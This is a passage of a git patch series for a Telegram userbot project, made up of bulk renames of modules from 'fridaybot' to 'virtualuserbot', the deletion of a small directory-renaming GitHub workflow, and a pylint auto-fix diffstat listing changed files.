--git a/fridaybot/modules/screencapture.py b/virtualuserbot/modules/screencapture.py similarity index 100% rename from fridaybot/modules/screencapture.py rename to virtualuserbot/modules/screencapture.py diff --git a/fridaybot/modules/screenlong.py b/virtualuserbot/modules/screenlong.py similarity index 100% rename from fridaybot/modules/screenlong.py rename to virtualuserbot/modules/screenlong.py diff --git a/fridaybot/modules/screenshot.py b/virtualuserbot/modules/screenshot.py similarity index 100% rename from fridaybot/modules/screenshot.py rename to virtualuserbot/modules/screenshot.py diff --git a/fridaybot/modules/sed.py b/virtualuserbot/modules/sed.py similarity index 100% rename from fridaybot/modules/sed.py rename to virtualuserbot/modules/sed.py diff --git a/fridaybot/modules/selfdestruct.py b/virtualuserbot/modules/selfdestruct.py similarity index 100% rename from fridaybot/modules/selfdestruct.py rename to virtualuserbot/modules/selfdestruct.py diff --git a/fridaybot/modules/send.py b/virtualuserbot/modules/send.py similarity index 100% rename from fridaybot/modules/send.py rename to virtualuserbot/modules/send.py diff --git a/fridaybot/modules/seotools.py b/virtualuserbot/modules/seotools.py similarity index 100% rename from fridaybot/modules/seotools.py rename to virtualuserbot/modules/seotools.py diff --git a/fridaybot/modules/shout.py b/virtualuserbot/modules/shout.py similarity index 100% rename from fridaybot/modules/shout.py rename to virtualuserbot/modules/shout.py diff --git a/fridaybot/modules/shouts.py b/virtualuserbot/modules/shouts.py similarity index 100% rename from fridaybot/modules/shouts.py rename to virtualuserbot/modules/shouts.py diff --git a/fridaybot/modules/singer.py b/virtualuserbot/modules/singer.py similarity index 100% rename from fridaybot/modules/singer.py rename to virtualuserbot/modules/singer.py diff --git a/fridaybot/modules/sizeresize.py b/virtualuserbot/modules/sizeresize.py similarity index 100% rename from fridaybot/modules/sizeresize.py rename to virtualuserbot/modules/sizeresize.py diff --git a/fridaybot/modules/slap.py b/virtualuserbot/modules/slap.py similarity index 100% rename from fridaybot/modules/slap.py rename to virtualuserbot/modules/slap.py diff --git a/fridaybot/modules/snake.py b/virtualuserbot/modules/snake.py similarity index 100% rename from fridaybot/modules/snake.py rename to virtualuserbot/modules/snake.py diff --git a/fridaybot/modules/snip.py b/virtualuserbot/modules/snip.py similarity index 100% rename from fridaybot/modules/snip.py rename to virtualuserbot/modules/snip.py diff --git a/fridaybot/modules/solarsystem.py b/virtualuserbot/modules/solarsystem.py similarity index 100% rename from fridaybot/modules/solarsystem.py rename to virtualuserbot/modules/solarsystem.py diff --git a/fridaybot/modules/something.py b/virtualuserbot/modules/something.py similarity index 100% rename from fridaybot/modules/something.py rename to virtualuserbot/modules/something.py diff --git a/fridaybot/modules/song.py b/virtualuserbot/modules/song.py similarity index 100% rename from fridaybot/modules/song.py rename to virtualuserbot/modules/song.py diff --git a/fridaybot/modules/songs.py b/virtualuserbot/modules/songs.py similarity index 100% rename from fridaybot/modules/songs.py rename to virtualuserbot/modules/songs.py diff --git a/fridaybot/modules/sp_search.py b/virtualuserbot/modules/sp_search.py similarity index 100% rename from fridaybot/modules/sp_search.py rename to virtualuserbot/modules/sp_search.py diff --git a/fridaybot/modules/spacedp.py b/virtualuserbot/modules/spacedp.py similarity index 100% rename from fridaybot/modules/spacedp.py rename to virtualuserbot/modules/spacedp.py diff --git a/fridaybot/modules/spam.py b/virtualuserbot/modules/spam.py similarity index 100% rename from fridaybot/modules/spam.py rename to virtualuserbot/modules/spam.py diff --git a/fridaybot/modules/speedtest.py b/virtualuserbot/modules/speedtest.py similarity index 100% rename from fridaybot/modules/speedtest.py rename to virtualuserbot/modules/speedtest.py diff --git a/fridaybot/modules/sql_helper/PostAppender_sql.py b/virtualuserbot/modules/sql_helper/PostAppender_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/PostAppender_sql.py rename to virtualuserbot/modules/sql_helper/PostAppender_sql.py diff --git a/fridaybot/modules/sql_helper/__init__.py b/virtualuserbot/modules/sql_helper/__init__.py similarity index 100% rename from fridaybot/modules/sql_helper/__init__.py rename to virtualuserbot/modules/sql_helper/__init__.py diff --git a/fridaybot/modules/sql_helper/blacklist_assistant.py b/virtualuserbot/modules/sql_helper/blacklist_assistant.py similarity index 100% rename from fridaybot/modules/sql_helper/blacklist_assistant.py rename to virtualuserbot/modules/sql_helper/blacklist_assistant.py diff --git a/fridaybot/modules/sql_helper/blacklist_sql.py b/virtualuserbot/modules/sql_helper/blacklist_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/blacklist_sql.py rename to virtualuserbot/modules/sql_helper/blacklist_sql.py diff --git a/fridaybot/modules/sql_helper/botusers_sql.py b/virtualuserbot/modules/sql_helper/botusers_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/botusers_sql.py rename to virtualuserbot/modules/sql_helper/botusers_sql.py diff --git a/fridaybot/modules/sql_helper/broadcast_sql.py b/virtualuserbot/modules/sql_helper/broadcast_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/broadcast_sql.py rename to virtualuserbot/modules/sql_helper/broadcast_sql.py diff --git a/fridaybot/modules/sql_helper/channel_sticker_sql.py b/virtualuserbot/modules/sql_helper/channel_sticker_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/channel_sticker_sql.py rename to virtualuserbot/modules/sql_helper/channel_sticker_sql.py diff --git a/fridaybot/modules/sql_helper/echo_sql.py b/virtualuserbot/modules/sql_helper/echo_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/echo_sql.py rename to virtualuserbot/modules/sql_helper/echo_sql.py diff --git a/fridaybot/modules/sql_helper/feds_sql.py b/virtualuserbot/modules/sql_helper/feds_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/feds_sql.py rename to virtualuserbot/modules/sql_helper/feds_sql.py diff --git a/fridaybot/modules/sql_helper/filter_sql.py b/virtualuserbot/modules/sql_helper/filter_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/filter_sql.py rename to virtualuserbot/modules/sql_helper/filter_sql.py diff --git a/fridaybot/modules/sql_helper/floodsql.py b/virtualuserbot/modules/sql_helper/floodsql.py similarity index 100% rename from fridaybot/modules/sql_helper/floodsql.py rename to virtualuserbot/modules/sql_helper/floodsql.py diff --git a/fridaybot/modules/sql_helper/gban_sql_helper.py b/virtualuserbot/modules/sql_helper/gban_sql_helper.py similarity index 100% rename from fridaybot/modules/sql_helper/gban_sql_helper.py rename to virtualuserbot/modules/sql_helper/gban_sql_helper.py diff --git a/fridaybot/modules/sql_helper/globelmute_sql.py b/virtualuserbot/modules/sql_helper/globelmute_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/globelmute_sql.py rename to virtualuserbot/modules/sql_helper/globelmute_sql.py diff --git a/fridaybot/modules/sql_helper/gmute_sql.py b/virtualuserbot/modules/sql_helper/gmute_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/gmute_sql.py rename to virtualuserbot/modules/sql_helper/gmute_sql.py diff --git a/fridaybot/modules/sql_helper/idadder_sql.py b/virtualuserbot/modules/sql_helper/idadder_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/idadder_sql.py rename to virtualuserbot/modules/sql_helper/idadder_sql.py diff --git a/fridaybot/modules/sql_helper/locks_sql.py b/virtualuserbot/modules/sql_helper/locks_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/locks_sql.py rename to virtualuserbot/modules/sql_helper/locks_sql.py diff --git a/fridaybot/modules/sql_helper/lydia_ai_sql.py b/virtualuserbot/modules/sql_helper/lydia_ai_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/lydia_ai_sql.py rename to virtualuserbot/modules/sql_helper/lydia_ai_sql.py diff --git a/fridaybot/modules/sql_helper/mute_sql.py b/virtualuserbot/modules/sql_helper/mute_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/mute_sql.py rename to virtualuserbot/modules/sql_helper/mute_sql.py diff --git a/fridaybot/modules/sql_helper/notes_sql.py b/virtualuserbot/modules/sql_helper/notes_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/notes_sql.py rename to virtualuserbot/modules/sql_helper/notes_sql.py diff --git a/fridaybot/modules/sql_helper/pmpermit_sql.py b/virtualuserbot/modules/sql_helper/pmpermit_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/pmpermit_sql.py rename to virtualuserbot/modules/sql_helper/pmpermit_sql.py diff --git a/fridaybot/modules/sql_helper/snips_sql.py b/virtualuserbot/modules/sql_helper/snips_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/snips_sql.py rename to virtualuserbot/modules/sql_helper/snips_sql.py diff --git a/fridaybot/modules/sql_helper/warns_sql.py b/virtualuserbot/modules/sql_helper/warns_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/warns_sql.py rename to virtualuserbot/modules/sql_helper/warns_sql.py diff --git a/fridaybot/modules/sql_helper/welcome_sql.py b/virtualuserbot/modules/sql_helper/welcome_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/welcome_sql.py rename to virtualuserbot/modules/sql_helper/welcome_sql.py diff --git a/fridaybot/modules/sql_helper/welcomesql.py b/virtualuserbot/modules/sql_helper/welcomesql.py similarity index 100% rename from fridaybot/modules/sql_helper/welcomesql.py rename to virtualuserbot/modules/sql_helper/welcomesql.py diff --git a/fridaybot/modules/ssvideo.py b/virtualuserbot/modules/ssvideo.py similarity index 100% rename from fridaybot/modules/ssvideo.py rename to virtualuserbot/modules/ssvideo.py diff --git a/fridaybot/modules/stats.py b/virtualuserbot/modules/stats.py similarity index 100% rename from fridaybot/modules/stats.py rename to virtualuserbot/modules/stats.py diff --git a/fridaybot/modules/steganography.py b/virtualuserbot/modules/steganography.py similarity index 100% rename from fridaybot/modules/steganography.py rename to virtualuserbot/modules/steganography.py diff --git a/fridaybot/modules/stickcreater.py b/virtualuserbot/modules/stickcreater.py similarity index 100% rename from fridaybot/modules/stickcreater.py rename to virtualuserbot/modules/stickcreater.py diff --git a/fridaybot/modules/sticker_2.py b/virtualuserbot/modules/sticker_2.py similarity index 100% rename from fridaybot/modules/sticker_2.py rename to virtualuserbot/modules/sticker_2.py diff --git a/fridaybot/modules/stickerchat.py b/virtualuserbot/modules/stickerchat.py similarity index 100% rename from fridaybot/modules/stickerchat.py rename to virtualuserbot/modules/stickerchat.py diff --git a/fridaybot/modules/stickers.py b/virtualuserbot/modules/stickers.py similarity index 100% rename from fridaybot/modules/stickers.py rename to virtualuserbot/modules/stickers.py diff --git a/fridaybot/modules/stickertoimage.py b/virtualuserbot/modules/stickertoimage.py similarity index 100% rename from fridaybot/modules/stickertoimage.py rename to virtualuserbot/modules/stickertoimage.py diff --git a/fridaybot/modules/sticklet.py b/virtualuserbot/modules/sticklet.py similarity index 100% rename from fridaybot/modules/sticklet.py rename to virtualuserbot/modules/sticklet.py diff --git a/fridaybot/modules/stock_price.py b/virtualuserbot/modules/stock_price.py similarity index 100% rename from fridaybot/modules/stock_price.py rename to virtualuserbot/modules/stock_price.py diff --git a/fridaybot/modules/stt.py b/virtualuserbot/modules/stt.py similarity index 100% rename from fridaybot/modules/stt.py rename to virtualuserbot/modules/stt.py diff --git a/fridaybot/modules/study.py b/virtualuserbot/modules/study.py similarity index 100% rename from fridaybot/modules/study.py rename to virtualuserbot/modules/study.py diff --git a/fridaybot/modules/superheroes.py b/virtualuserbot/modules/superheroes.py similarity index 100% rename from fridaybot/modules/superheroes.py rename to virtualuserbot/modules/superheroes.py diff --git a/fridaybot/modules/superstar.py b/virtualuserbot/modules/superstar.py similarity index 100% rename from fridaybot/modules/superstar.py rename to virtualuserbot/modules/superstar.py diff --git a/fridaybot/modules/supportgroup.py b/virtualuserbot/modules/supportgroup.py similarity index 100% rename from fridaybot/modules/supportgroup.py rename to virtualuserbot/modules/supportgroup.py diff --git a/fridaybot/modules/tag.py b/virtualuserbot/modules/tag.py similarity index 100% rename from fridaybot/modules/tag.py rename to virtualuserbot/modules/tag.py diff --git a/fridaybot/modules/tagall.py b/virtualuserbot/modules/tagall.py similarity index 100% rename from fridaybot/modules/tagall.py rename to virtualuserbot/modules/tagall.py diff --git a/fridaybot/modules/tb_button.py b/virtualuserbot/modules/tb_button.py similarity index 100% rename from fridaybot/modules/tb_button.py rename to virtualuserbot/modules/tb_button.py diff --git a/fridaybot/modules/telegraph.py b/virtualuserbot/modules/telegraph.py similarity index 100% rename from fridaybot/modules/telegraph.py rename to virtualuserbot/modules/telegraph.py diff --git a/fridaybot/modules/terminal.py b/virtualuserbot/modules/terminal.py similarity index 100% rename from fridaybot/modules/terminal.py rename to virtualuserbot/modules/terminal.py diff --git a/fridaybot/modules/test.py b/virtualuserbot/modules/test.py similarity index 100% rename from fridaybot/modules/test.py rename to virtualuserbot/modules/test.py diff --git a/fridaybot/modules/think.py b/virtualuserbot/modules/think.py similarity index 100% rename from fridaybot/modules/think.py rename to virtualuserbot/modules/think.py diff --git a/fridaybot/modules/thumbnail.py b/virtualuserbot/modules/thumbnail.py similarity index 100% rename from fridaybot/modules/thumbnail.py rename to virtualuserbot/modules/thumbnail.py diff --git a/fridaybot/modules/tiktok.py b/virtualuserbot/modules/tiktok.py similarity index 100% rename from fridaybot/modules/tiktok.py rename to virtualuserbot/modules/tiktok.py diff --git a/fridaybot/modules/time.py b/virtualuserbot/modules/time.py similarity index 100% rename from fridaybot/modules/time.py rename to virtualuserbot/modules/time.py diff --git a/fridaybot/modules/timefunc.py b/virtualuserbot/modules/timefunc.py similarity index 100% rename from fridaybot/modules/timefunc.py rename to virtualuserbot/modules/timefunc.py diff --git a/fridaybot/modules/toonify.py b/virtualuserbot/modules/toonify.py similarity index 100% rename from fridaybot/modules/toonify.py rename to virtualuserbot/modules/toonify.py diff --git a/fridaybot/modules/torrentsearch.py b/virtualuserbot/modules/torrentsearch.py similarity index 100% rename from fridaybot/modules/torrentsearch.py rename to virtualuserbot/modules/torrentsearch.py diff --git a/fridaybot/modules/torrentz.py b/virtualuserbot/modules/torrentz.py similarity index 100% rename from fridaybot/modules/torrentz.py rename to virtualuserbot/modules/torrentz.py diff --git a/fridaybot/modules/translate.py b/virtualuserbot/modules/translate.py similarity index 100% rename from fridaybot/modules/translate.py rename to virtualuserbot/modules/translate.py diff --git a/fridaybot/modules/trolls.py b/virtualuserbot/modules/trolls.py similarity index 100% rename from fridaybot/modules/trolls.py rename to virtualuserbot/modules/trolls.py diff --git a/fridaybot/modules/tweet.py b/virtualuserbot/modules/tweet.py similarity index 100% rename from fridaybot/modules/tweet.py rename to virtualuserbot/modules/tweet.py diff --git a/fridaybot/modules/typing.py b/virtualuserbot/modules/typing.py similarity index 100% rename from fridaybot/modules/typing.py rename to virtualuserbot/modules/typing.py diff --git a/fridaybot/modules/ukinti.py b/virtualuserbot/modules/ukinti.py similarity index 100% rename from fridaybot/modules/ukinti.py rename to virtualuserbot/modules/ukinti.py diff --git a/fridaybot/modules/ultragoogle.py b/virtualuserbot/modules/ultragoogle.py similarity index 100% rename from fridaybot/modules/ultragoogle.py rename to virtualuserbot/modules/ultragoogle.py diff --git a/fridaybot/modules/undlt.py b/virtualuserbot/modules/undlt.py similarity index 100% rename from fridaybot/modules/undlt.py rename to virtualuserbot/modules/undlt.py diff --git a/fridaybot/modules/unzipfile.py b/virtualuserbot/modules/unzipfile.py similarity index 100% rename from fridaybot/modules/unzipfile.py rename to virtualuserbot/modules/unzipfile.py diff --git a/fridaybot/modules/updater.py b/virtualuserbot/modules/updater.py similarity index 100% rename from fridaybot/modules/updater.py rename to virtualuserbot/modules/updater.py diff --git a/fridaybot/modules/upload_dl.py b/virtualuserbot/modules/upload_dl.py similarity index 100% rename from fridaybot/modules/upload_dl.py rename to virtualuserbot/modules/upload_dl.py diff --git a/fridaybot/modules/uploadtoverysteam.py b/virtualuserbot/modules/uploadtoverysteam.py similarity index 100% rename from fridaybot/modules/uploadtoverysteam.py rename to virtualuserbot/modules/uploadtoverysteam.py diff --git a/fridaybot/modules/urbandictionary.py b/virtualuserbot/modules/urbandictionary.py similarity index 100% rename from fridaybot/modules/urbandictionary.py rename to virtualuserbot/modules/urbandictionary.py diff --git a/fridaybot/modules/urlshortner.py b/virtualuserbot/modules/urlshortner.py similarity index 100% rename from fridaybot/modules/urlshortner.py rename to virtualuserbot/modules/urlshortner.py diff --git a/fridaybot/modules/userinfo.py b/virtualuserbot/modules/userinfo.py similarity index 100% rename from fridaybot/modules/userinfo.py rename to virtualuserbot/modules/userinfo.py diff --git a/fridaybot/modules/userlist.py b/virtualuserbot/modules/userlist.py similarity index 100% rename from fridaybot/modules/userlist.py rename to virtualuserbot/modules/userlist.py diff --git a/fridaybot/modules/utube.py b/virtualuserbot/modules/utube.py similarity index 100% rename from fridaybot/modules/utube.py rename to virtualuserbot/modules/utube.py diff --git a/fridaybot/modules/verysteam.py b/virtualuserbot/modules/verysteam.py similarity index 100% rename from fridaybot/modules/verysteam.py rename to virtualuserbot/modules/verysteam.py diff --git a/fridaybot/modules/virustotal.py b/virtualuserbot/modules/virustotal.py similarity index 100% rename from fridaybot/modules/virustotal.py rename to virtualuserbot/modules/virustotal.py diff --git a/fridaybot/modules/voice.py b/virtualuserbot/modules/voice.py similarity index 100% rename from fridaybot/modules/voice.py rename to virtualuserbot/modules/voice.py diff --git a/fridaybot/modules/vsong.py b/virtualuserbot/modules/vsong.py similarity index 100% rename from fridaybot/modules/vsong.py rename to virtualuserbot/modules/vsong.py diff --git a/fridaybot/modules/waifu.py b/virtualuserbot/modules/waifu.py similarity index 100% rename from fridaybot/modules/waifu.py rename to virtualuserbot/modules/waifu.py diff --git a/fridaybot/modules/wallpapers.py b/virtualuserbot/modules/wallpapers.py similarity index 100% rename from fridaybot/modules/wallpapers.py rename to virtualuserbot/modules/wallpapers.py diff --git a/fridaybot/modules/warnbun.py b/virtualuserbot/modules/warnbun.py similarity index 100% rename from fridaybot/modules/warnbun.py rename to virtualuserbot/modules/warnbun.py diff --git a/fridaybot/modules/warns.py b/virtualuserbot/modules/warns.py similarity index 100% rename from fridaybot/modules/warns.py rename to virtualuserbot/modules/warns.py diff --git a/fridaybot/modules/weather.py b/virtualuserbot/modules/weather.py similarity index 100% rename from fridaybot/modules/weather.py rename to virtualuserbot/modules/weather.py diff --git a/fridaybot/modules/webshot.py b/virtualuserbot/modules/webshot.py similarity index 100% rename from fridaybot/modules/webshot.py rename to virtualuserbot/modules/webshot.py diff --git a/fridaybot/modules/webtools.py b/virtualuserbot/modules/webtools.py similarity index 100% rename from fridaybot/modules/webtools.py rename to virtualuserbot/modules/webtools.py diff --git a/fridaybot/modules/webupload.py b/virtualuserbot/modules/webupload.py similarity index 100% rename from fridaybot/modules/webupload.py rename to virtualuserbot/modules/webupload.py diff --git a/fridaybot/modules/weebify.py b/virtualuserbot/modules/weebify.py similarity index 100% rename from fridaybot/modules/weebify.py rename to virtualuserbot/modules/weebify.py diff --git a/fridaybot/modules/welcome.py b/virtualuserbot/modules/welcome.py similarity index 100% rename from fridaybot/modules/welcome.py rename to virtualuserbot/modules/welcome.py diff --git a/fridaybot/modules/whois.py b/virtualuserbot/modules/whois.py similarity index 100% rename from fridaybot/modules/whois.py rename to virtualuserbot/modules/whois.py diff --git a/fridaybot/modules/wikimedia.py b/virtualuserbot/modules/wikimedia.py similarity index 100% rename from fridaybot/modules/wikimedia.py rename to virtualuserbot/modules/wikimedia.py diff --git a/fridaybot/modules/wikipedia.py b/virtualuserbot/modules/wikipedia.py similarity index 100% rename from fridaybot/modules/wikipedia.py rename to virtualuserbot/modules/wikipedia.py diff --git a/fridaybot/modules/wtf.py b/virtualuserbot/modules/wtf.py similarity index 100% rename from fridaybot/modules/wtf.py rename to virtualuserbot/modules/wtf.py diff --git a/fridaybot/modules/xkcd.py b/virtualuserbot/modules/xkcd.py similarity index 100% rename from fridaybot/modules/xkcd.py rename to virtualuserbot/modules/xkcd.py diff --git a/fridaybot/modules/xnxx.py b/virtualuserbot/modules/xnxx.py similarity index 100% rename from fridaybot/modules/xnxx.py rename to virtualuserbot/modules/xnxx.py diff --git a/fridaybot/modules/xtools.py b/virtualuserbot/modules/xtools.py similarity index 100% rename from fridaybot/modules/xtools.py rename to virtualuserbot/modules/xtools.py diff --git a/fridaybot/modules/ytdl.py b/virtualuserbot/modules/ytdl.py similarity index 100% rename from fridaybot/modules/ytdl.py rename to virtualuserbot/modules/ytdl.py diff --git a/fridaybot/modules/ytmusic.py b/virtualuserbot/modules/ytmusic.py similarity index 100% rename from fridaybot/modules/ytmusic.py rename to virtualuserbot/modules/ytmusic.py diff --git a/fridaybot/tweet.py b/virtualuserbot/tweet.py similarity index 100% rename from fridaybot/tweet.py rename to virtualuserbot/tweet.py diff --git a/fridaybot/utils.py b/virtualuserbot/utils.py similarity index 100% rename from fridaybot/utils.py rename to virtualuserbot/utils.py diff --git a/fridaybot/wraptools/__init__.py b/virtualuserbot/wraptools/__init__.py similarity index 100% rename from fridaybot/wraptools/__init__.py rename to virtualuserbot/wraptools/__init__.py From a039e56b99f929532cd0b1fa689d6ccf42c01948 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 13:55:21 +0530 Subject: [PATCH 724/838] Delete saint.yml --- .github/workflows/saint.yml | 12 ------------ 1 file changed, 12 deletions(-) delete mode 100644 .github/workflows/saint.yml diff --git a/.github/workflows/saint.yml b/.github/workflows/saint.yml deleted file mode 100644 index 0fe0f5f1..00000000 --- a/.github/workflows/saint.yml +++ /dev/null @@ -1,12 +0,0 @@ -name: Rename Directory - -on: - push: - -jobs: - rename: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - run: git mv fridaybot virtualuserbot - - uses: EndBug/add-and-commit@v5.1.0 From 92d7edd087bb2fa91e049e9d90557d3bb51e3e3e Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 22 Jan 2021 08:26:05 +0000 Subject: [PATCH 725/838] pylint: auto fixes --- virtualuserbot/__main__.py | 4 ++-- virtualuserbot/events.py | 3 +-- virtualuserbot/function/__init__.py | 3 +-- virtualuserbot/modules/__init__.py | 1 + virtualuserbot/modules/_inlinebot.py | 7 +++---- virtualuserbot/modules/add.py | 6 ++---- virtualuserbot/modules/admin.py | 5 ++--- virtualuserbot/modules/adultzone.py | 1 - virtualuserbot/modules/afk.py | 3 +-- virtualuserbot/modules/alive.py | 3 +-- virtualuserbot/modules/allban.py | 3 +-- virtualuserbot/modules/anime.py | 3 +-- virtualuserbot/modules/antiflood.py | 5 ++--- virtualuserbot/modules/antispam.py | 3 +-- virtualuserbot/modules/antivirus.py | 3 +-- virtualuserbot/modules/archiver.py | 5 ++--- virtualuserbot/modules/assistant/main_assistant.py | 7 +++---- virtualuserbot/modules/assistant/notes.py | 5 ++--- virtualuserbot/modules/autotools.py | 3 +-- virtualuserbot/modules/barcode.py | 3 +-- virtualuserbot/modules/bassboost.py | 3 +-- virtualuserbot/modules/bible.py | 1 - virtualuserbot/modules/bin.py | 3 +-- virtualuserbot/modules/blacklist.py | 3 +-- virtualuserbot/modules/books.py | 1 - virtualuserbot/modules/bot_tag.py | 3 +-- virtualuserbot/modules/bye.py | 3 +-- virtualuserbot/modules/calladmin.py | 3 +-- virtualuserbot/modules/carbon.py | 5 ++--- virtualuserbot/modules/carbonRGB.py | 3 +-- virtualuserbot/modules/card.py | 1 - virtualuserbot/modules/chain.py | 3 +-- virtualuserbot/modules/channel_download.py | 3 +-- virtualuserbot/modules/channel_sticker.py | 5 ++--- virtualuserbot/modules/checkrestrictions.py | 3 +-- virtualuserbot/modules/classictranslate.py | 3 +-- virtualuserbot/modules/clone.py | 5 ++--- virtualuserbot/modules/coinflip.py | 3 +-- virtualuserbot/modules/colors.py | 3 +-- virtualuserbot/modules/congratulations.py | 3 +-- virtualuserbot/modules/count.py | 5 ++--- virtualuserbot/modules/countries.py | 1 - virtualuserbot/modules/covid.py | 1 - virtualuserbot/modules/cow.py | 3 +-- virtualuserbot/modules/crack_tools.py | 3 +-- virtualuserbot/modules/create.py | 3 +-- virtualuserbot/modules/cricket_score.py | 1 - virtualuserbot/modules/crypto.py | 1 - virtualuserbot/modules/currency.py | 3 +-- virtualuserbot/modules/dagd.py | 1 - virtualuserbot/modules/decide.py | 1 - virtualuserbot/modules/deepfryer.py | 7 +++---- virtualuserbot/modules/delfp.py | 3 +-- virtualuserbot/modules/design.py | 3 +-- virtualuserbot/modules/diceandart.py | 3 +-- virtualuserbot/modules/dictionary.py | 3 +-- virtualuserbot/modules/direct_links.py | 3 +-- virtualuserbot/modules/dm.py | 3 +-- virtualuserbot/modules/dns.py | 1 - virtualuserbot/modules/duckduckgo.py | 3 +-- virtualuserbot/modules/dumpster.py | 3 +-- virtualuserbot/modules/ekart.py | 1 - virtualuserbot/modules/emojify.py | 1 - virtualuserbot/modules/emojis.py | 3 +-- virtualuserbot/modules/eval.py | 3 +-- virtualuserbot/modules/exclusive.py | 5 ++--- virtualuserbot/modules/extra.py | 3 +-- virtualuserbot/modules/extranotes.py | 3 +-- virtualuserbot/modules/fakegen.py | 3 +-- virtualuserbot/modules/fakeimagegen.py | 1 - virtualuserbot/modules/figlet.py | 1 - virtualuserbot/modules/fileext.py | 3 +-- virtualuserbot/modules/filters.py | 5 ++--- virtualuserbot/modules/fleaveme.py | 3 +-- virtualuserbot/modules/football.py | 1 - virtualuserbot/modules/funarts.py | 3 +-- virtualuserbot/modules/funtxt2.py | 1 - virtualuserbot/modules/gamersdp.py | 3 +-- virtualuserbot/modules/gdbye.py | 3 +-- virtualuserbot/modules/get_admin.py | 5 ++--- virtualuserbot/modules/get_bot.py | 3 +-- virtualuserbot/modules/get_id.py | 3 +-- virtualuserbot/modules/git.py | 3 +-- virtualuserbot/modules/github.py | 1 - virtualuserbot/modules/gizoogle.py | 3 +-- virtualuserbot/modules/glitch.py | 5 ++--- virtualuserbot/modules/google.py | 3 +-- virtualuserbot/modules/got_memes.py | 3 +-- virtualuserbot/modules/got_thoughts.py | 3 +-- virtualuserbot/modules/gprod.py | 3 +-- virtualuserbot/modules/gps2.py | 3 +-- virtualuserbot/modules/gtools.py | 7 +++---- virtualuserbot/modules/hack.py | 3 +-- virtualuserbot/modules/hash.py | 1 - virtualuserbot/modules/heroku.py | 3 +-- virtualuserbot/modules/heroku_help.py | 1 - virtualuserbot/modules/hotstar.py | 1 - virtualuserbot/modules/howtogoogle.py | 1 - virtualuserbot/modules/iffuci.py | 1 - virtualuserbot/modules/ifsc.py | 3 +-- virtualuserbot/modules/imageenc.py | 1 - virtualuserbot/modules/imagefun.py | 5 ++--- virtualuserbot/modules/imagefun2.py | 3 +-- virtualuserbot/modules/imagefun3.py | 3 +-- virtualuserbot/modules/imagefun4.py | 3 +-- virtualuserbot/modules/imagetools.py | 7 +++---- virtualuserbot/modules/imdb.py | 3 +-- virtualuserbot/modules/information.py | 5 ++--- virtualuserbot/modules/inline_fun.py | 1 + virtualuserbot/modules/instant_install_ext_module.py | 2 +- virtualuserbot/modules/iplookup.py | 3 +-- virtualuserbot/modules/jainder.py | 3 +-- virtualuserbot/modules/jio.py | 3 +-- virtualuserbot/modules/lastfm.py | 11 +++++------ virtualuserbot/modules/listmyusernames.py | 3 +-- virtualuserbot/modules/locks.py | 3 +-- virtualuserbot/modules/lol.py | 3 +-- virtualuserbot/modules/lucky.py | 3 +-- virtualuserbot/modules/lydiaai2.py | 1 - virtualuserbot/modules/lyric.py | 3 +-- virtualuserbot/modules/mashup.py | 3 +-- virtualuserbot/modules/mask.py | 3 +-- virtualuserbot/modules/mediadata.py | 3 +-- virtualuserbot/modules/memes.py | 5 ++--- virtualuserbot/modules/memify.py | 3 +-- virtualuserbot/modules/mf.py | 3 +-- virtualuserbot/modules/mmf.py | 3 +-- virtualuserbot/modules/movie_recomendation.py | 1 - virtualuserbot/modules/mtn.py | 3 +-- virtualuserbot/modules/musicdl.py | 5 ++--- virtualuserbot/modules/muth.py | 3 +-- virtualuserbot/modules/nakal.py | 3 +-- virtualuserbot/modules/nekobot.py | 3 +-- virtualuserbot/modules/news.py | 2 +- virtualuserbot/modules/nsfw.py | 5 ++--- virtualuserbot/modules/nsfwdetect.py | 1 - virtualuserbot/modules/ocr.py | 1 - virtualuserbot/modules/os.py | 3 +-- virtualuserbot/modules/owm.py | 7 +++---- virtualuserbot/modules/padmin.py | 3 +-- virtualuserbot/modules/password_tools.py | 5 ++--- virtualuserbot/modules/paste.py | 3 +-- virtualuserbot/modules/pdf2docx.py | 3 +-- virtualuserbot/modules/pin_message.py | 3 +-- virtualuserbot/modules/plane.py | 3 +-- virtualuserbot/modules/pmpermit.py | 5 ++--- virtualuserbot/modules/pokedex.py | 3 +-- virtualuserbot/modules/police.py | 3 +-- virtualuserbot/modules/privatewelcome.py | 3 +-- virtualuserbot/modules/profile.py | 3 +-- virtualuserbot/modules/programmer_jokes.py | 3 +-- virtualuserbot/modules/proxyscrape.py | 3 +-- virtualuserbot/modules/purge.py | 3 +-- virtualuserbot/modules/pyocr.py | 1 - virtualuserbot/modules/qr_code.py | 3 +-- virtualuserbot/modules/quickheal.py | 3 +-- virtualuserbot/modules/quote.py | 3 +-- virtualuserbot/modules/quotes.py | 3 +-- virtualuserbot/modules/quotly.py | 5 ++--- virtualuserbot/modules/rain.py | 3 +-- virtualuserbot/modules/react.py | 3 +-- virtualuserbot/modules/reminder.py | 3 +-- virtualuserbot/modules/remove.bg.py | 1 - virtualuserbot/modules/rename.py | 3 +-- virtualuserbot/modules/reverse.py | 3 +-- virtualuserbot/modules/reverseimg.py | 3 +-- virtualuserbot/modules/sangmata.py | 3 +-- virtualuserbot/modules/screencapture.py | 1 - virtualuserbot/modules/screenlong.py | 3 +-- virtualuserbot/modules/screenshot.py | 3 +-- virtualuserbot/modules/shout.py | 3 +-- virtualuserbot/modules/sizeresize.py | 1 - virtualuserbot/modules/slap.py | 3 +-- virtualuserbot/modules/snake.py | 3 +-- 